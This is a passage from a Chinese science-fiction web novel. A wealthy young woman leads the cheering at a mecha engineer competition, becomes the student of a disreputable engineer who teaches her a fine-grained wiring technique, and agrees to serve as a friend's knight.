“你写应援标语的时候，自己看着不脸红吗？”赵宴月真诚地发出了疑惑的声音。 贺如故伸手把怼到他脸上的横幅往外推了推，神色自若道：“关我什么事，又不是我举。” 工作人员已经在催促入场，贺如故怕再待下去就要听到赵宴月的拒绝，他直接朝赵宴月招了招手扭头就走：“千万记得给我加油！” 赵宴月忍住了翻白眼的冲动，对他扯出了一丝礼貌的微笑，表情管理做得相当到位。 算了，好歹是她押的宝，溺爱一下也不是不行。 SSSVIP的位置在第一排，位置好到甚至解说台就在旁边，连座位也都是真皮座椅，旁边还有放了茶点的茶几。 观赛席呈圆形阶梯式分布，将比赛场地包围了起来，第二排是SSVIP，第三排是SVIP，再往后就是不带茶几的VIP座位。 整个竞技馆除了一层的VIP座位外还有二楼普通票看台，从上往下看去像是一个下小上大的超级大碗。 比赛场地有可以防震降音的透明防护罩，第一排的座位和宽阔的比赛场地之间也没有任何阻挡。 唯一有可能遮挡视线的只有飞在空中的，不到硬币大小的电蝇蛾。 赵宴月入座后，赛事解说的开场白也刚好响起，男女解说员的声音通过扩音装置回荡在场馆里。 “现场以及屏幕前的观众朋友们，大家下午好！欢迎观看星历202年机甲工程师竞技赛夏季赛之48进24淘汰赛。” “夏季赛赛制分为48进24淘汰赛，24进12淘汰赛，12进6淘汰赛，6进3总决赛，每个赛程持续一周，最终胜出的三名参赛选手将按照总决赛耗时长短进行排名，决出冠亚季军。” “今天下午的开场赛由贺如故对战凌飞羽，贺如故驾驶的机甲由封嘉荣工程师构架引力丝的主干脉络，凌飞羽驾驶的机甲由谈英朗工程师构架引力丝的主干脉络。” “双方机甲已经检查完毕，欢迎选手入场！” 解说员话音一落，随着选手站上对站台，铺天盖地的欢呼声从天上倾泻而来。 “凌飞羽！凌飞羽！谈英朗！谈英朗！” 一方喊完名字后，另一队的支持者接着喊算是观众们约定俗成的习惯，这么来回几次后赛前的啦啦队环节才算结束，气氛也能炒热起来。 只不过这一次对面是封嘉荣，根本就没多少人真心觉得他能赢。 或者说押他的也基本是想博一博单车变摩托的赌狗，自然也没几个人给他和贺如故加油鼓气——以至于大家发现加油声稀稀拉拉得根本不成气候后，都没忍住笑了起来。 原本加油的人发现没人跟着喊也尴尬闭了嘴，铺天盖地的笑声顿时盖过了本就为数不多的加油声。 贺如故站在台上，虽然早就预见到了这个场面，但如今还是颇有几分惆怅。 看似不被看好的人是在现场的他，实际上丢人的人是谁他不说。 ——但这个场面还是让脸面很值钱的贺如故精神都萎靡了一点。 他像霜打的茄子似的蔫了下来，挺拔的身影似乎都透出了点“单薄无助”的意味。 赵宴月见状，闭了闭眼给自己做好心理建设，像是做下了某种违背祖宗的决定般从座位上站了起来。 她接过易秋递来的大喇叭，清了清嗓子气沉丹田喊道：“贺如故加油！封嘉荣加油！” 这个发展让全场的笑声停了下来，甚至茫然地安静了一秒，就连隔壁解说台的解说们都震惊地看了过来。 只有她一个人加油似乎显得更加凄凉了，还不如让大家笑笑过去得了…… 正在工作室看比赛的封嘉荣整个人都僵硬了，酒瓶从手里滑落摔了个稀碎。 他从脖子红到耳根，虽然凌乱的头发遮住了大部分脸，但不难看出整个人都已经红成了煮熟的大虾。 反应的时间只需要一秒，台上立马又响起不甘示弱的加油声，几乎是压倒性地响了起来，显得之前的喇叭声格外无助。 “凌飞羽！！！凌飞羽！！！谈英朗！！！谈英朗！！！” 排山倒海，气震山河。 又到了封嘉荣的回合，原本还到处乱飞的电蝇蛾统统飞到了赵宴月的周边，等着看她作何反应。 屏幕前的观众们就见直播镜头里，一个珠光宝气的少女拿着大喇叭，还有个女生老老实实在她旁边举着标语极其浮夸的横幅。 视线焦点的少女面对对面铺天盖地的加油声丝毫不惧，声音更是半点不虚，仿佛已经沉浸在当啦啦队的世界里不知天地为何物。 “贺如故！你是电！你是光！你是唯一的神话！封嘉荣！为你痴！为你狂！为你哐哐撞大墙！” 不知道哪个牌子的喇叭效果好极了，她的声音清晰地回荡在场馆里，甚至还带着回音。 声音不够骚话来凑，这打破常规加油方式的一句话喊完，对面有些乱了套，原本整齐的加油声变得乱七八糟。 “凌飞羽！@#￥加油Y%$HJ%看好你^$……” 赵宴月趁他们病要他们命，混乱之中又不嫌事大地喊道：“贺如故——” 她的加油还没说话，台上数量稀少的赌狗们已经接起了话：“加油！” 赵宴月眼睛一亮，发现赌狗们实在是孺子可教也。 她欣慰地承担起啦啦队队长的职责，调整了一下语气的抑扬顿挫开口道：“封嘉荣！” “加油！！！” 对面的加油声已经一片混乱，而赵宴月像个乐团指挥官似的带着全场押注封嘉荣的赌狗们喊了三遍。 众人的声音一遍比一遍大，也一遍比一遍整齐，不知道的还以为封嘉荣已经是众望所归。 少女如同战胜的将军般看着电蝇蛾笑了一声，甚至有些意犹未尽将大喇叭递给易秋，手指弹了弹衣角优雅落座。 将真女人从不回头看爆炸诠释得淋漓尽致。 站在台上的贺如故已经彻底完成了惆怅到春风得意的演变。 他很是骄傲地朝台上的观众们挥着手，看向赵宴月的眼神里爱心直冒，觉得自己和她比起来实在是学疏才浅，看这加油词是多么的文采斐然。 经过这一遭，二楼看台的观众被赵宴月气得跳脚，线上的观众更是疯狂刷起了屏。 “从未见过这么勇的人，她不应该在星网上没有姓名吧，星博号多少，让我关注一下。” “内向的人在她开口的第一秒就淡淡的死了，但是从脚趾抓地到热血沸腾只需要十秒。” “什么叫真正的以一敌万……好厉害……好有信念感……” “封嘉荣到底给了她多少钱，啦啦队的活还接吗？好想雇佣她。” “人家坐的SSSVIP席，当啦啦队纯属是真看好封嘉荣吧。” “被迷晕，这一段我将录屏留存反复观看，比比赛燃多了。” “楼上要看机甲比赛就去看联邦军校联赛，我们这里是机甲工程师竞技赛好不好，只有婴儿学步和老人打架。” “和她一起当啦啦队好像很爽，搞得我都有点想押注封嘉荣了。” “你有点倒反天罡了。” “连夜买票去现场看比赛，我现在热血沸腾，我也要去当啦啦队。” “怎么翻墙进紫微星星域网了，看见的还是同一个人……怎么她在哪哪里就有乐子看。” “楼上对个暗号？” “……女王。” “这是什么暗号？不过女王听起来很酷诶，喜欢喜欢喜欢！楼上她星博号多少？” “你要知道全称是什么，可能就不会觉得酷了。” 竞技馆现场已经乱成了一锅粥，解说员艰难地安抚好观众们的情绪，火急火燎地宣布了比赛开始。 “女士们先生们！48进24主干脉络架构淘汰赛已经正式开始！让我们把目光聚焦到赛场，看看场上的选手谁能成功晋级！” 第44章 随着场上的贺如故和凌飞羽召唤出机甲, 赵宴月和其他观众的目光也全部放到了赛场之上。 眨眼间眼前便出现了两具三四米高的金属巨物，一具白蓝交织，一具整体呈现出棕褐色。 因为是机甲工程师竞技赛, 机甲身上的引力丝都被要求调整为可视状态。 每当精神力顺着引力丝流动, 引力丝上便会有浅浅的光芒随之亮起，像是给机甲上面增添了奇异的纹路, 透着一股科技和冷硬感。 天上巨大的全息光幕瞬间点亮，将对站台清晰地投射了出来。 “大家应该不难认出凌飞羽的机甲是大地獭的机甲态，贺如故的机甲比较少见, 是雪灵熊的机甲态。” “对的，虽然灵兽战甲的体积都大差不差, 但是雪灵熊战甲是中型机甲，比起作为轻型机甲的大地獭战甲来说，虽然操控起来消耗精神力会更快, 但实力上无疑占据优势。” 随着解说的声音落下, 场上的两具机甲也动了起来。 两具机甲宛若刚刚苏醒的金属巨兽，迈着沉重而又试探的步伐向对面走去, 每一步落下都伴随着沉闷的撞击声，只不过动作看着有些滑稽和踉跄。 虽然有着防震降音的防护罩, 但或许是离得太近, 赵宴月依旧感受到了地面传来的微微震颤感。 “目前两个选手都成功启动了机甲！只构建了主干脉络的机甲相当于仅仅植入了大致骨架, 可以看到他们的动作还远远还称不上灵活！” “没错, 首次操控机甲主打一个简单好操作, 虽然不够灵活，但也方便契约者能更好上手。” 仅仅是向前走了两步，雪灵熊战甲的动作便明显顺滑了许多，反观大地獭战甲还有些笨拙和迟缓, 抬腿间带着诡异的僵硬感和延迟。 “凌飞羽的适应速度不算慢，但他对手的机甲似乎开起来更顺手。” “也有可能是贺如故在操控机甲上面更有天赋，毕竟现在机甲还只有主干脉络，机甲的操作差距不会拉开太大。” “是的，不过即便是主干脉络，每一条脉络的长短、粗细和走向也有大学问，主干脉络的架构看似简单，实则最考验工程师的基本功，也决定了机甲的下限。” 赵宴月边看边记知识点，开启了学习模式。 精神力的传导效率很快，仅凭肉眼，几乎只能看见光芒亮起的刹那机甲便同时有了动作。 赵宴月无视了耳边混合着解说和观众喧闹的声音，配合着两具机甲的动作仔细观察着它们身上的引力丝。 不知道是不是看得出神了，即便眼前的画面一闪而过，脑子里却开始了慢放。 她发现大地獭战甲动作稍显笨拙的原因是因为它的动作幅度稍稍过大，似乎和契约者预想中的落点总有偏差。 机甲出现这种情况，诚然可能有契约者还未适应“新身体”的原因，也有可能是主干脉络出现了小小的问题。 赵宴月眼睛都没眨地看着大地獭战甲的一举一动，敏锐地感知到大地獭战甲的引力丝主干脉络或许比“最佳方案”架构得稍微宽了一些。 就好像是一个人本意想将手抬起九十度，但是结果却抬到了九十五度。 这样微小的差距，可能他自己也说不清是不是因为自己无意识间用力过头了，但角度的偏差又是确实存在的。 虽说引力丝承担着引导精神力的职责，脉络越宽越能承担更多的精神力游走，但精神力脉络并不是越宽也好，最重要的是和机甲适配。 大地獭战甲作为轻型战甲，优点之一就在于可以用更少的精神力全面带动机甲，完成更长时间的续航。 如果主干脉络的架构达不到“完美适配机甲”的程度，无异于不知不觉间就减弱了优势。 倒是贺如故的雪灵熊战甲作为中型机甲，本身对主干脉络的要求就比轻型机甲更宽，但他的动作不但没有用力过猛的感觉，而且也没有精神力带不动机甲的滞涩感，至少在赵宴月看来显得相当流畅顺手。 不管到底是契约者操控机甲的天赋有差异，还是机甲主干脉络的架构确实出现了水平上的差距，随着雪灵熊战甲蛮横地将大地獭战甲推倒在地，这场看着并不惊险刺激的比赛也在轰然倒塌的巨响声中分出了胜负。 周围的观众摇头叹气地说着凌飞羽对操控机甲的上手速度太慢，失望自己押错了宝赔了星币。 赵宴月已经顾不得等贺如故下场，她离开座位轻车熟路地找到了封嘉荣的工作间，见到男人的第一眼就迫不及待地想要验证自己的推断。 “封老师，大地獭战甲的引力丝主干脉络有问题吗？” 封嘉荣听到她这声封老师还愣了愣，然后又声音平淡地问道：“你为什么这么问？” “因为我觉得有问题。”赵宴月十分直白地说道，“大地獭战甲和凌飞羽之间需要磨合，他的意志不能和机甲同步。” “你怎么知道他的意志和机甲不同步？如果仅仅是觉得他操作笨拙的话，那也只能说明刚上手操控机甲总有适应期。” “不对。” 赵宴月直接对封嘉荣的话进行了一个否定操作，然后调出直播录像一帧帧地分析了起来，将自己的推断的心路历程一点点剥开。 封嘉荣听着她的长篇大论，发现她确实是经过了显微镜式的观察才提出了“觉得主干脉络有问题”的观点，并不是纯粹的猜测。 对于内行来说，其实不难看出大地獭战甲的主干脉络架构得确实有瑕疵。 但对于对引力丝架构毫无基础的人来说，将直播画面看一百遍可能都发现不了问题，她的观察力确实惊人的敏锐。 别的不说，至少在架构分支脉络和次分脉络上非常有优势，毕竟这两个环节都要通过观察契约者的战斗习惯去量身定制。 赵宴月还在施展她的盯帧大法试图说服他，封嘉荣收起思绪，没再和她打太极：“你说得对，大地獭战甲的主干脉络可以更细一些，现在的宽度有些阔绰了。” 得到了封嘉荣的认同，赵宴月终于心满意足又口干舌燥地关了光脑，原本对架构引力丝脉络的浓厚兴趣顿时又浓厚了一些。 可能是她之前那句“封老师”起了作用，封嘉荣看她这幅模样，不自觉开始教学道：“架构引力丝脉络说难不难说简单也不简单，主干脉络和次干脉络都有基础框架，你要是对架构引力丝感兴趣，现在就可以练习主干脉络的架构。” 封嘉荣一边说着，一边将一个超级缩小版的机甲手办放在桌上，手办和桌面顿时发出了沉重的碰撞声。 “这是按照我曾经架构出来的机甲复刻出来的，拿去玩吧，用精神力感受一下里面的主干脉络。” 桌上的金属机甲也就半米高，但是明显沉甸甸的重量不轻。 赵宴月先用精神力包裹住它感应了一下，发现机甲手办的内部有数条脉络。 这些脉络的深度时浅时深，宽度时粗时细，主干、次干、分支、次分脉络应有尽有，或者说“细分脉络”应有尽有，确实是封嘉荣特有的引力丝架构方式。 “精神力第一次在机甲全身游走时开拓出来的路线就是引力丝，一旦定型无法更改，不容许出现丝毫差错，架构引力丝的工具也就只有一根辅助用的精神力引导棒。” 封嘉荣将一根质感很好的金属棒递给了赵宴月，“你可以用精神力临摹这些脉络，就从主干脉络开始。” “好的老师！” 赵宴月的称呼越来越简洁，封嘉荣嘴角一扯也没纠正。 手里的引导棒触感微凉，看着也十分朴实无华，但精神力经过引导棒流出变得稳定了许多，就像是可以帮助时而没墨时而漏墨的笔变得出墨顺滑。 她感应着机甲手办里面的脉络，拿着引导棒开始在上面比比划划，沉下心来试图用精神力对里面的引力丝脉络进行临摹。 看似简单的脉络真正临摹起来难度不小，精神力放多了脉络就变粗放少了就变细，要么就是连精神力探进去的深度都不对。 明明脉络在金属下5cm的位置，结果赵宴月凭着感觉定好点释放精神力后，位置不是深了就是浅了。 比起晶源回纹的平面操作，引力丝的架构多了一个维度，难度便骤然拔高了一大截。 要想一比一临摹出里面的脉络，确实需要勤加练习掌握手感。 赵宴月脑瓜一转，看着背对着她正在纸上描描画画的封嘉荣问道：“老师，这个机甲手办可以用精神力操控吗？这样对脉络的感知应该会更具体？” “这叫机甲智能模型机，不叫手办。” 封嘉荣头也不回地纠正了她的称呼，然后才回答了赵宴月的问题：“可以但不建议你这么操作，模型机里面的脉络太多太密，反而会影响你对主干脉络的感知，只架构了主干脉络的模型机我这没有，毕竟模型机的材料很稀有也很贵，不把一整套引力丝架构完很浪费。” 一段话下来，赵宴月只听到了“可以操作”，反正她听别人说话只听自己想听的。 她将引导棒放到一边，搓了搓手正襟危坐，用精神力贯穿了手办全身的脉络。 机甲上的纹路唰的亮起，赵宴月一下子就感受到了自己能对这具小手办进行操控了——就好像木偶戏一般，精神力的游走让她和“木偶”之间有了连接的丝线。 只不过脑子里传来的引力丝脉络密密麻麻，确实如封嘉荣所说，亲自操控的话完全没办法单独去感应主干脉络。 但换个角度想，如果不考虑架构引力丝的事，过一把开机甲的瘾也不是不行。 毕竟小五进化到终极态要升到14阶，而大部分机甲战宠进化到终极态只需要10阶，时间上肯定会慢上不少。 不知道什么时候才能开上小五出品的机甲，提前过把瘾怎么了。 赵宴月引导着精神力在机甲的腿部游走，模型机也跟着往前迈出了一步，然后又因为前腿抬起时后腿没能跟上，最终呈现出了略显滑稽的效果。 只有亲自操控的时候，才能更加真切地感知到这个模型机的引力丝脉络的完整且精密。 赵宴月甚至察觉到只要精神力能操控好千丝万缕的细分脉络，这个模型机甚至可以做到比人类躯体更加灵活。 虽然刚开始的动作还有些磕磕绊绊，但是赵宴月58000颗无品级晶源也不是白净化的，一遍又一遍填满的晶源回纹让她对精神力的操控已经有些心得，模型机很快便肉眼可见地变得不再卡顿。 在发现走路已经毫无问题后，赵宴月信心膨胀，小心翼翼地控制着模型机机从桌子上跳了下去。 ……这个动作还是太需要操作了。 模型机落地后没能站稳，也没用手去撑一下地面，直愣愣地脸朝地摔了个大马趴。 赵宴月：“……” 她操控模型机手忙脚乱地站了起来，在发现封嘉荣头都没回地沉浸在自己的世界时这才松了口气。 毕竟只要没人看到就可以装作无事发生。 再次将注意力转移到模型机的身上，赵宴月没再尝试大开大合的危险动作，站在原地尝试着打起了太极，争取用精神力将全身的引力丝脉络都游走一遍。 虽然动作看着很是僵硬，但赵宴月已经训练得浑然忘我。 早已掌握八爪鱼式净化大法的赵宴月熟练地将精神力分成无数份，一点点把控住了机甲的主干、次干、分支和细分脉络。 模型机原本僵硬的动作一点点变得舒展柔和，它的动作渐渐朝着“肩圆、肘圆、腕圆”的方向发展，一招一式渐渐有了太极的韵律。 一招经典的白鹤亮翅过后，赵宴月发现封嘉荣不知何时已经转过了身，坐在那不知道看了多久。 两人目光一对视，模型机收回了动作，它很人性化地转了转手腕又转了转脖子，然后伸出一只手朝封嘉荣比了个心。 第45章 赵宴月本意只是想展示一下自己的训练成果, 结果发现潦草中年男人看过来的目光复杂，神色似悲似喜。 封嘉荣站起身走了过来没再看她，手指顺着模型机上的纹路划过, 似乎陷入了某种回忆。 “这是我第一次构建出的细分脉络, 当时我以为我为引力丝架构带来了的突破性进展，结果是那具机甲的契约者没办法操控它。” 赵宴月收回了模型机上的精神力, 坐在沙发盘着腿问道：“路都走不稳的那种没法操控吗？” “你也听说了这事。” 封嘉荣明显对外界关于自己的说法都心中有数，语气丝毫不变地承认道：“刚上手的时候确实走不稳，现在其实已经磨合得差不多了, 只不过他依旧认为机甲不好操控，还不如传统机甲。” 机甲本身的目的是为了战斗, 传统的次分脉络虽然不够精细，但满足战斗需求已经足够。 如果想精益求精，越高水平的机甲作战对契约者的操控技巧和机甲灵活性的要求就越高。 封嘉荣的细分脉络确实很难上手, 但某种意义上来说, 驯服细分脉络就像是花费更长时间打地基，或许一开始总是慢人一步, 但拥有更高的上限和可能。 这么想来，封嘉荣说开不好他架构的机甲纯属是契约者水平不够还挺有道理。 ——但问题也就在这了, 在架构好引力丝之前, 契约者连机甲都没开过, 谁知道自己的水平到底能不能驾驭。 就算S级精神海天然对精神力有更强的把控, 那也不敢说自己的操作水平就一定比B级精神海的契约者厉害。 “你是第一个在这么短的时间里就能操控模型机的, 其他人试过模型机之后都选择了传统的引力丝架构方法。”封嘉荣有些急切地看向她问道：“你感觉怎么样？能适应吗？” 赵宴月并不觉得细分脉络操控起来会手忙脚乱，可能也有没做什么高难度动作的原因，操控机甲作战肯定比打太极难得多。 但她今天只不过是第一次尝试，能达到这种效果足够说明她是完全能够使用细分脉络的。 她点点头道：“没什么问题。” 封嘉荣闻言像是突然想起了什么似的, 有些忐忑地问道：“……你契约的是机甲战宠吗？” 能细致操控精神力的不一定都是高等级的精神海，好不容易找到一个能驾驭细分脉络的契约者，如果她根本没契约机甲战宠…… 面对他难得热切的目光，赵宴月很难猜不到他的意思。 “是，但我的契约灵兽要到终极态需要时间。” “我可以等。”封嘉荣摸着模型机念念叨叨：“这种引力丝的架构方式不应该被埋没，它只是需要第一个成功的人。” 他说到这又伸手抓了抓潦草得像鸡窝的头发，“我可以免费帮你架构，或者我给你付点钱也行，只要你到时候能帮我拍个宣传视频。” 架构引力丝并不是一件轻松的事，收费更是根据机甲工程师名气的大小从几十到几百万星币不等。 赵宴月本来就觉得封嘉荣的水平和他的名声成反比，在感受了模型机之后，她对封嘉荣的技术就更满意了。 “虽然我对您的水平确实很推崇……”她看了封嘉荣一眼，然后有些苦恼道：“但是我的契约灵兽就那么一只，要我下决心还是差点意思。” 封嘉荣根本没听懂赵宴月的言下之意，有些着急地说道：“模型机的引力丝是完全一比一复刻的，你能操控好模型机就一定能操控好机甲，你完全不需要顾虑。” 见他根本没听懂话里的意思，赵宴月只好直接道：“您要是能教我架构引力丝的话，有师徒情谊在，我自然二话不说就下定决心了。” “……这算是拜师礼？”封嘉荣终于反应了过来。 虽然根本没人找他拜师，但对他来说教学生本来也是件很麻烦的事，既浪费时间又浪费警力，有这功夫还不如多在模型机上架构几条引力丝。 但是话又说回来…… 封嘉荣略显沉重地点了点头，像是接过了某种重担：“行。” 屏幕里传来解说念着比赛结束语的声音，赵宴月回过神，这才发现一个下午的时间早就匆匆过去。 ——而早早结束了比赛的贺如故却还不见踪影。 刚一想起这件事，光脑上便传来了贺如故的通讯。 贺如故：救救我救救我！ 贺如故：我在竞技馆后门被人绑架了！ 赵宴月：？ 贺如故：速来。 赵宴月根本没信他的鬼话，但出于好奇，她还是和封嘉荣打了个招呼后出了门。 现在正值比赛散场的时候，竞技馆的三个进出口此时都人潮涌动，唯有被叫做后门的北门一般不开放，马路边格外冷清。 一辆看着格外低调奢华的悬浮车停在路边，舷窗降下，只能看见一只骨节分明的手搭在窗边。 说自己被绑架了的贺如故靠在路灯上，不知道说了什么，但是脸上的表情不太好看。 “我说了等开学我自然会回去，之前不是嫌弃我只是B级精神海吗，现在又来假惺惺做什么？” “谁嫌弃你了？” “嫌没嫌弃我自有判断，我只是B级精神海，也没办法给爷爷净化，不用指望我。” “再说一遍，没有人嫌弃你。” “你说没有就没有吗，你又不是我，还能对我感同身受？” “行，即便不去云中宫殿，你这段时间不打算回家陪爷爷吗，他的身体情况你应该清楚。” 随着走近，赵宴月也听清了两人的对话。 她溜溜达达地走了过去，探头朝悬浮车里看了一眼，发现坐在车里的男生和贺如故有三分相像，只不过气质截然不同。 他神色冷淡，看着十分拒人千里。 赵宴月扭过头看向贺如故，指了指悬浮车问道：“就是他要绑架你？” “对。”贺如故缓了缓呼吸平静了下来，嘴角扯出个笑：“如果他要动手我们就一起上，我们三难道还打不过他一个吗。” 赵宴月抚掌夸道：“好文明的绑架方式，有商有量的。” 车里人的目光划过赵宴月和易秋的脸，对贺如故找来的帮手并不很在意。 他看向贺如故冷淡道：“按照联邦规定，在净化天赋检测仪式结束后，净化师就要入住云中宫殿，这也是出于对你们的保护。” 赵宴月听到熟悉的名词，看向贺如故的目光像是重新认识了他一遍似的，有些惊讶道：“你是净化师啊。” “你的反应怎么这么平淡？” 贺如故也不理车里的人，笑眯眯地接她的话：“惊不惊喜意不意外？以后你精神海污染了我免费帮你净化。” 他说到这顿了顿，这才想起什么似的问道：“不过你的精神海等级够契约机甲战宠吗？” 这已经是第二个要帮她净化精神海的人了。 她的精神海还挺抢手。 赵宴月很是骄傲地点了点头：“这你别管，想帮我净化精神海都得排队。” “哈？”贺如故切了一声，“我可是B级净化师，在我之上只有九位A级净化师，谁能排我前面？” “……” 赵宴月不得不感叹一句，紫微星的居民确实竞争欲很强，总是能抓到一些平常人抓不到的重点。 贺如故看着比他矮了一个头的少女，看着看着突然眸光一动。 他凑到赵宴月的面前问道：“既然知道了我是尊贵的净化师，你要不要当我的专属骑士？” 贺如故的貌美脸蛋在路灯温暖的光线下显得格外温柔，带着点期待又带着点乞求的眼神像只小狗。 “嗯？我？”赵宴月回过神来指了指自己，大为震惊。 联邦会为每一位净化师配备一名专属骑士，也只有净化师才会拥有专属骑士。 他们的职责就是保护净化师的安全，与一般保镖不同的是，骑士对自己负责的殿下保持着绝对的忠诚，可以做到毫不犹豫为他们而死。 易秋某种程度上来说就是联邦给她配备的专属骑士，只不过她的情况特殊，所以名义上叫做贴身保镖。 “为什么想让我当你的骑士？”赵宴月实话实说：“虽然这个职业听起来很有勇者的味道，但是我没有职业道德，遇到危险我会比你先跑。” “当然是因为你很有趣。”贺如故想了想认真道：“你先跑也没事，真遇到危险了别把我推出去就行，到时候咱两各凭本事跑。” 赵宴月刚要发表讲话，却听一直安静待在车里的人开了口：“打扰一下，两位。” 男生看向贺如故平静陈述道：“关于你的骑士人选已经定了，是一名A级契约者。” “贺江山！我最烦的就是你这幅发号施令的模样！你觉得你很牛吗？” 尽管贺如故怒气冲冲，但被指着骂的人还是一副冷淡的模样：“到，我没有发号施令，一般。” 真是句句有回应。 贺如故把赵宴月拉到自己面前，然后戳着她的肩膀朝车里的人说道：“我就要她当我的骑士，不然我不回去了。” 赵宴月：“……？” “等等，我还没同意吧？”赵宴月拍掉他的手问道。 一听这话，贺江山顿时轻笑了一声。 他都不用说什么，嘲笑的意思就已经很明显了。 贺如故已经顾不上贺江山了，他用一种看叛徒的眼神看向赵宴月，透出一种与全世界为敌的味道：“你不同意？亏我这么喜欢你，你为什么不同意？” “……我知道了，你也觉得一辈子待在云中宫殿里很无聊对不对。” 贺如故的语气低落了下来。 你别说，你还真别说，赵宴月确实是这么觉得的。 她忽然觉得自己和贺如故还挺相似，就是因为当净化师前的生活就过得太好了，所以才会觉得被禁锢。 有一说一，可能有这种烦恼的净化师加起来也就他们两，这种感觉和别人说了也没人能懂。 赵宴月感同身受，但是她站着说话不腰疼：“确实很无聊，不过联邦说‘不建议随意进出云中宫殿’，你可以不听他的建议。” 贺如故本来都有些后悔问这句话了，每个听他这么说的人都只会觉得他无理取闹。 现在一听到赵宴月没说云中宫殿有多好，而是说“确实很无聊”，那真心实意地模样让贺如故一瞬间只感觉自己找到了知己。 他思考了一下，被赵宴月的提议安慰到了一点，但不多。 “这么说好像也没错……只不过出入还打报告，也不知道什么时候能批，真是想想就烦。” 贺江山的手在窗沿上有节奏地轻轻敲击着，听了这话淡淡建议道：“不建议不听建议。” 他一说话，贺如故立马像个刺猬似的将身上的刺竖了起来，反唇相讥：“你猜我听不听你的建议？还有，你给我客气点，我现在可比你牛多了。” “是。”贺江山丝毫不反驳地点了点头，“所以为了保证你的安全，爷爷派我过来接你回去。” 这种一拳打在棉花上的感觉让贺如故并没有找到压他一头的喜悦，他的脸色也冷了下来，原本和贺江山的三分相像立马变成了五分。 “我说过了，等竞技赛结束我就回去，在这期间我的骑士会保护我。” 赵宴月懒得拆台，默认了他的叫法。 在发现贺江山的目光看了过来之后，她一巴掌拍在贺如故的背上，语气随意道：“对，我保护他，哥哥您就放心吧。” 贺如故被她拍得往前踉跄了一步，然后又迅速支棱了起来点头：“对，哥哥你走吧。” 贺江山还来不及说话，贺如故已经拉着人走了。 路灯下两人的影子一高一矮，男生的声音透着点小小的惊喜：“你真愿意做我的骑士啊？你放心，骑士可以自由出入云中宫殿，原则上只要我出门的时候当一下保镖就好了，联邦铁饭碗！” “你搞搞清楚，我同意是因为我给你压了20w星币，你走了比赛谁打？” “……哦。”贺如故沉默了一会儿，忽然问道：“你觉得这个世界上有可能出现S级净化师吗？” 赵宴月一听这话，还以为贺如故发现了什么在点她呢，不过她想了想便明白了：“在担心你爷爷的身体？” “我父母都在战场上牺牲了，爷爷有狂躁症，因为精神海稳定剂才撑到现在，现在我也成年了，他很早之前就不注射稳定剂了。” 狂躁症患者唯一的指望就是精神海能早一点崩塌，成为无精神力者就能彻底摆脱发病的痛苦。 但精神海崩塌又是一个漫长的过程，越发接近崩塌的那一天，精神也会越来越错乱，真能撑到精神海崩塌那天的人屈指可数。 精神海稳定剂能够稳定精神海，延缓精神海崩塌的速度，但该发病还是会发病，很少有狂躁症患者会为了保持清醒去用这个延长自己的痛苦。 明明是联邦首富，这经历听起来倒是心酸得和酗酒的爸早死的妈年幼的弟破碎的家有的一拼。 第46章 机甲工程师竞技赛前两周的比赛很多, 但是主干脉络和次干脉络的架构并不需要太多时间。 后两周的比赛场次少了但依旧是一周为一个赛程，就是因为分支脉络和次分脉络的架构需要花费的时间很长。 机甲工程师架构引力丝脉络的时间越短，契约者在这一周里训练的时间也就越多, 贺如故和其他选手基本天天都泡在训练室里磨合机甲。 架构好引力丝脉络后, 封嘉荣剩下的时间基本就在给赵宴月上课——主要是讲完理论后直接让赵宴月实操，然后他自己忙自己的。 他和贺如故已经顺利晋级分支脉络架构赛, 按照前面两场比赛的表现来看，这个阶段的比赛对两人来说也没有难度。 只不过封嘉荣最近正在纠结最后阶段的次分脉络架构赛要不要使用细分脉络进行架构。 本来他就是想在真正的机甲上架构细分脉络才同意和贺如故一起参赛，按理来说这算是他的报酬。 但没想到贺如故在开机甲这一方面还挺有天赋, 按照目前的情况来看，如果架构常规的次分脉络的话甚至有望夺冠。 机甲工程师竞技赛并不算大众赛事, 但是在特定圈子里的热度还是比较高的，机甲工程师和契约了机甲战宠的契约者都会关注。 这是机甲工程师们宣传自己的渠道，在这个比赛夺冠肯定能拯救他狼藉的名声, 更别说架构次分脉络对他来说其实比架构细分脉络简单得多。 但用次分脉络架构的机甲夺冠, 也意味着就算名声好起来了，有契约者愿意找他架构引力丝也是架构传统的次分脉络。 那他这些年的坚持又有什么意义。 赵宴月伸出拿着引导棒的手在盯着桌子面露纠结的男人面前晃了晃。 “老师, 我能把模型机里的主干脉络一比一复刻出来了。” “嗯、嗯？这么快？”封嘉荣回过神，然后让赵宴月在模型机上架构一遍给他检查。 少女转笔似的将引导棒绕着指间转了一圈, 下一秒便如同蜻蜓点水般轻触在模型机的表面。 随着引导棒在金属上缓缓移动, 赵宴月输送精神力的力道也时轻时重, 精神力时而如同一条蜿蜒的小溪, 时而又像是奔涌的江河在主干脉络里游走。 一分不多, 一分不少，如果不是亲眼所见她的精神力是从模型机表面渗透进去，封嘉荣会以为她的精神力已经连接了模型机，所以精神力的输送才能这么严丝合缝。 虽然教学生是件很麻烦的事, 但如果每个学生都像赵宴月一样有悟性的话，那封嘉荣不得不说他愿意多教几个。 心里这么想，但已经对赵宴月性格有所了解的封嘉荣嘴上说道：“花了两周多的时间，勉强合格吧。” 竟然才勉强合格。 赵宴月顿时对机甲工程师们的学习水平肃然起敬。 “临摹的时候你能感应到原本的主干脉络，对精神力的释放心里多少有杆秤，下一步你要尝试自主架构主干脉络。” 封嘉荣说到这打开了星网，给赵宴月展示了一下光脑上的页面：“自主架构练习的成本比较高，星网上有专门的架构用金属板，低级中级高级的都有，你根据自己的经济水平适当消费。” 从现在开始，继续往下学就需要烧钱了。 虽然赵宴月一直没透露自己的家庭条件，但她给人的感觉就是个不缺星币的主，所以封嘉荣也没有提醒她要不要考虑一下是否要继续学习下去。 果然，封嘉荣只见赵宴月看过来一眼，然后风轻云淡地点了点头，似乎完全没被学习用具的价格劝退。 ……看来她确实不缺星币。 而赵宴月直到上完课走出封嘉荣的工作间，才自己打开光脑又看了一眼。 ——也没别的，刚才看到价格大脑短路了，没看清具体描述。 “[机甲工程师专属]训练用灵能板 [简约版]TA-tin01金属，产自编号星TA-03金属矿，流动性较强，可构建主干脉络一条，500星币/块 [性价比版]B-san27金属，产自边缘星B-3452金属矿，流动性适中，可构建主干脉络一条，1000星币/块 [生物机甲同款金属版]未知金属，产自B级及以上等级虫族残骸！生物机甲同款金属材料！机甲模型机专属材料！具有可操控性！精神力在金属内无自主流动性！188星币/g，不单独售卖灵能板，定制模型机请私聊客服，上百种灵兽机甲态任您选择！强烈推荐！” “……” 